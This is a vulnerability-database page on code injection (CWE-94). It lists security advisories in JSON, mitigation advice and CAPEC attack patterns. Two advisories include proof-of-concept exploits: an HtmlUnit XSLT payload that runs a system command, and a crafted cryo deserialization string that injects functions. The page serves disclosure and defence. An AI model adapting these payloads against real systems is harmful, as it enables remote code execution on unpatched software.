CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8320 vulnerabilities reference this CWE, most recent first.
GHSA-37RP-RG27-25P2
Vulnerability from github – Published: 2022-05-17 01:22 – Updated: 2022-05-17 01:22"Dokodemo eye Smart HD" SCR02HD Firmware 1.0.3.1000 and earlier allows authenticated attackers to conduct code injection attacks via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2017-10835"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-29T01:35:00Z",
"severity": "HIGH"
},
"details": "\"Dokodemo eye Smart HD\" SCR02HD Firmware 1.0.3.1000 and earlier allows authenticated attackers to conduct code injection attacks via unspecified vectors.",
"id": "GHSA-37rp-rg27-25p2",
"modified": "2022-05-17T01:22:09Z",
"published": "2022-05-17T01:22:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10835"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN87410770/index.html"
},
{
"type": "WEB",
"url": "http://www.nippon-antenna.co.jp/product/ine/pdf/scr02hd_about_security.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-37V3-73MX-JW5V
Vulnerability from github – Published: 2022-05-01 07:29 – Updated: 2022-05-01 07:29Multiple PHP remote file inclusion vulnerabilities in Der Dirigent (DeDi) 1.0.3 allow remote attackers to execute arbitrary PHP code via a URL in the cfg_dedi[dedi_path] parameter in (1) find.php, (2) insert_line.php, (3) fullscreen.php, (4) changecase.php, (5) insert_link.php, (6) insert_table.php, (7) table_cellprop.php, (8) table_prop.php, (9) table_rowprop.php, (10) insert_page.php, and possibly insert_marquee.php in backend/external/wysiswg/popups/.
{
"affected": [],
"aliases": [
"CVE-2006-5507"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-10-25T22:07:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Der Dirigent (DeDi) 1.0.3 allow remote attackers to execute arbitrary PHP code via a URL in the cfg_dedi[dedi_path] parameter in (1) find.php, (2) insert_line.php, (3) fullscreen.php, (4) changecase.php, (5) insert_link.php, (6) insert_table.php, (7) table_cellprop.php, (8) table_prop.php, (9) table_rowprop.php, (10) insert_page.php, and possibly insert_marquee.php in backend/external/wysiswg/popups/.",
"id": "GHSA-37v3-73mx-jw5v",
"modified": "2022-05-01T07:29:02Z",
"published": "2022-05-01T07:29:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5507"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29760"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0610-exploits/Derdirigent.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22546"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29950"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29951"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29952"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29953"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29954"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29955"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29956"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29957"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29958"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29959"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20702"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4164"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-37VQ-HR2F-G7H7
Vulnerability from github – Published: 2023-12-04 23:13 – Updated: 2023-12-04 23:13Summary
HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage
Details
Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)
The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor
PoC
pom.xml:
<dependency>
<groupId>org.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>3.8.0</version>
</dependency>
code:
WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());
test.html:
<script>
var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
var xslProc;
xslDoc.async = false;
xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<span><xsl:value-of select="$processString"/></span>
</xsl:template>
</xsl:stylesheet>`)
if (xslDoc.parseError.errorCode != 0) {
var myErr = xslDoc.parseError;
document.write("ParseError: "+myErr.reason);
} else {
xslt.stylesheet = xslDoc;
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.loadXML("<s></s>");
if (xmlDoc.parseError.errorCode != 0) {
var myErr = xmlDoc.parseError;
document.write("Document error: " + myErr.reason);
} else {
xslProc = xslt.createProcessor();
xslProc.input = xmlDoc;
xslProc.transform();
document.write(xslProc.output);
}
}
</script>
Impact
Remote Code Execution
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.htmlunit:htmlunit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49093"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-04T23:13:30Z",
"nvd_published_at": "2023-12-04T05:15:07Z",
"severity": "CRITICAL"
},
"details": "### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker\u2019s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n\u003cdependency\u003e\n \u003cgroupId\u003eorg.htmlunit\u003c/groupId\u003e\n \u003cartifactId\u003ehtmlunit\u003c/artifactId\u003e\n \u003cversion\u003e3.8.0\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n\u003cscript\u003e\n var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n var xslProc;\n xslDoc.async = false;\n xslDoc.loadXML(`\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\u003e\n \u003cxsl:template match=\"/\"\u003e\n \u003cxsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/\u003e\n \u003cxsl:variable name=\"process\" select=\"rt:exec($rtobject,\u0027open -a Calculator\u0027)\"/\u003e\n \u003cxsl:variable name=\"processString\" select=\"ob:toString($process)\"/\u003e\n \u003cspan\u003e\u003cxsl:value-of select=\"$processString\"/\u003e\u003c/span\u003e\n \u003c/xsl:template\u003e\n \u003c/xsl:stylesheet\u003e`)\n\n if (xslDoc.parseError.errorCode != 0) {\n var myErr = xslDoc.parseError;\n document.write(\"ParseError: \"+myErr.reason);\n } else {\n xslt.stylesheet = xslDoc;\n var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n xmlDoc.async = false;\n xmlDoc.loadXML(\"\u003cs\u003e\u003c/s\u003e\");\n if (xmlDoc.parseError.errorCode != 0) {\n var myErr = xmlDoc.parseError;\n document.write(\"Document error: \" + myErr.reason);\n } else {\n xslProc = xslt.createProcessor();\n xslProc.input = xmlDoc;\n xslProc.transform();\n document.write(xslProc.output);\n }\n }\n\u003c/script\u003e\n```\n\n\n### Impact\nRemote Code Execution",
"id": "GHSA-37vq-hr2f-g7h7",
"modified": "2023-12-04T23:13:30Z",
"published": "2023-12-04T23:13:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49093"
},
{
"type": "PACKAGE",
"url": "https://github.com/HtmlUnit/htmlunit"
},
{
"type": "WEB",
"url": "https://www.htmlunit.org/changes-report.html#a3.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL"
}
GHSA-37W4-G5XJ-JWM8
Vulnerability from github – Published: 2022-05-02 06:19 – Updated: 2022-05-02 06:19Safari on Apple iPhone OS 3.1.3 for iPod touch allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via vectors involving document.write calls with long crafted strings.
{
"affected": [],
"aliases": [
"CVE-2010-1177"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-29T19:30:00Z",
"severity": "HIGH"
},
"details": "Safari on Apple iPhone OS 3.1.3 for iPod touch allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via vectors involving document.write calls with long crafted strings.",
"id": "GHSA-37w4-g5xj-jwm8",
"modified": "2022-05-02T06:19:53Z",
"published": "2022-05-02T06:19:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1177"
},
{
"type": "WEB",
"url": "http://nishantdaspatnaik.yolasite.com/ipodpoc2.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38994"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-385Q-2F2C-F3C9
Vulnerability from github – Published: 2024-09-07 18:30 – Updated: 2024-09-07 18:30A code injection vulnerability that allows a low-privileged user with REST API access granted to remotely upload arbitrary files to the VSPC server using REST API, leading to remote code execution on VSPC server.
{
"affected": [],
"aliases": [
"CVE-2024-39715"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-07T17:15:12Z",
"severity": "HIGH"
},
"details": "A code injection vulnerability that allows a low-privileged user with REST API access granted to remotely upload arbitrary files to the VSPC server using REST API, leading to remote code execution on VSPC server.",
"id": "GHSA-385q-2f2c-f3c9",
"modified": "2024-09-07T18:30:24Z",
"published": "2024-09-07T18:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39715"
},
{
"type": "WEB",
"url": "https://www.veeam.com/kb4649"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3876-F57V-XHHX
Vulnerability from github – Published: 2022-05-01 23:31 – Updated: 2022-05-01 23:31Cross-zone scripting vulnerability in the Internet Explorer web control in Skype 3.6.0.244, and earlier 3.5.x and 3.6.x versions, on Windows allows user-assisted remote attackers to inject arbitrary web script or HTML in the Local Machine Zone via the Description and unspecified other metadata fields of a Metacafe movie submitted by Metacafe Pro to the Skype video gallery, accessible through a search within the (1) "Add video to chat" or (2) "Add video to mood" dialog, a different vector than CVE-2008-0454.
{
"affected": [],
"aliases": [
"CVE-2008-0583"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-05T03:00:00Z",
"severity": "MODERATE"
},
"details": "Cross-zone scripting vulnerability in the Internet Explorer web control in Skype 3.6.0.244, and earlier 3.5.x and 3.6.x versions, on Windows allows user-assisted remote attackers to inject arbitrary web script or HTML in the Local Machine Zone via the Description and unspecified other metadata fields of a Metacafe movie submitted by Metacafe Pro to the Skype video gallery, accessible through a search within the (1) \"Add video to chat\" or (2) \"Add video to mood\" dialog, a different vector than CVE-2008-0454.",
"id": "GHSA-3876-f57v-xhhx",
"modified": "2022-05-01T23:31:43Z",
"published": "2022-05-01T23:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0583"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39754"
},
{
"type": "WEB",
"url": "http://aviv.raffon.net/2008/01/22/NoMoreVideosForYouComeBackWhenPatchAvailable.aspx"
},
{
"type": "WEB",
"url": "http://skype.com/security/skype-sb-2008-001-update1.htm"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/794236"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27338"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3876-GMCV-479M
Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-05-24 17:29An issue was discovered on Gemtek WRTM-127ACN 01.01.02.141 and WRTM-127x9 01.01.02.127 devices. The Monitor Diagnostic network page allows an authenticated attacker to execute a command directly on the target machine. Commands are executed as the root user (uid 0). (Even if a login is required, most routers are left with default credentials.)
{
"affected": [],
"aliases": [
"CVE-2020-24365"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-24T15:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on Gemtek WRTM-127ACN 01.01.02.141 and WRTM-127x9 01.01.02.127 devices. The Monitor Diagnostic network page allows an authenticated attacker to execute a command directly on the target machine. Commands are executed as the root user (uid 0). (Even if a login is required, most routers are left with default credentials.)",
"id": "GHSA-3876-gmcv-479m",
"modified": "2022-05-24T17:29:23Z",
"published": "2022-05-24T17:29:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24365"
},
{
"type": "WEB",
"url": "https://pastebin.com/QTev1TjM"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160136/Gemtek-WVRTM-127ACN-01.01.02.141-Command-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-38CX-X5RG-M9MX
Vulnerability from github – Published: 2024-12-17 00:31 – Updated: 2024-12-17 15:31GetSimple CMS CE 3.3.19 suffers from arbitrary code execution in the template editing function in the background management system, which can be used by an attacker to implement RCE.
{
"affected": [],
"aliases": [
"CVE-2024-55085"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-16T23:15:06Z",
"severity": "CRITICAL"
},
"details": "GetSimple CMS CE 3.3.19 suffers from arbitrary code execution in the template editing function in the background management system, which can be used by an attacker to implement RCE.",
"id": "GHSA-38cx-x5rg-m9mx",
"modified": "2024-12-17T15:31:43Z",
"published": "2024-12-17T00:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55085"
},
{
"type": "WEB",
"url": "https://getsimple-ce.ovh"
},
{
"type": "WEB",
"url": "https://tasteful-stamp-da4.notion.site/CVE-2024-55085-15b1e0f227cb80a5aee6faeb820bf7e6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-38F5-GHC2-FCMV
Vulnerability from github – Published: 2018-08-21 17:02 – Updated: 2023-09-12 18:38All versions of cryo are vulnerable to code injection due to an Insecure implementation of deserialization.
Proof of concept
var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "cryo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-3784"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:54:31Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require(\u0027cryo\u0027);\nvar frozen = \u0027{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}\u0027\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.",
"id": "GHSA-38f5-ghc2-fcmv",
"modified": "2023-09-12T18:38:55Z",
"published": "2018-08-21T17:02:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3784"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/350418"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-38f5-ghc2-fcmv"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/690"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Code Injection in cryo"
}
GHSA-38J9-GMW4-C46G
Vulnerability from github – Published: 2022-05-01 07:08 – Updated: 2025-04-03 04:35PHP remote file inclusion vulnerability in top.php in SiteBuilder-FX 3.5 allows remote attackers to execute arbitrary PHP code via a URL in the admindir parameter.
{
"affected": [],
"aliases": [
"CVE-2006-3395"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-07-06T20:05:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in top.php in SiteBuilder-FX 3.5 allows remote attackers to execute arbitrary PHP code via a URL in the admindir parameter.",
"id": "GHSA-38j9-gmw4-c46g",
"modified": "2025-04-03T04:35:59Z",
"published": "2022-05-01T07:08:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-3395"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27503"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/20923"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1016417"
},
{
"type": "WEB",
"url": "http://www.jaascois.com/exploits/18602017"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/26959"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/18756"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2639"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.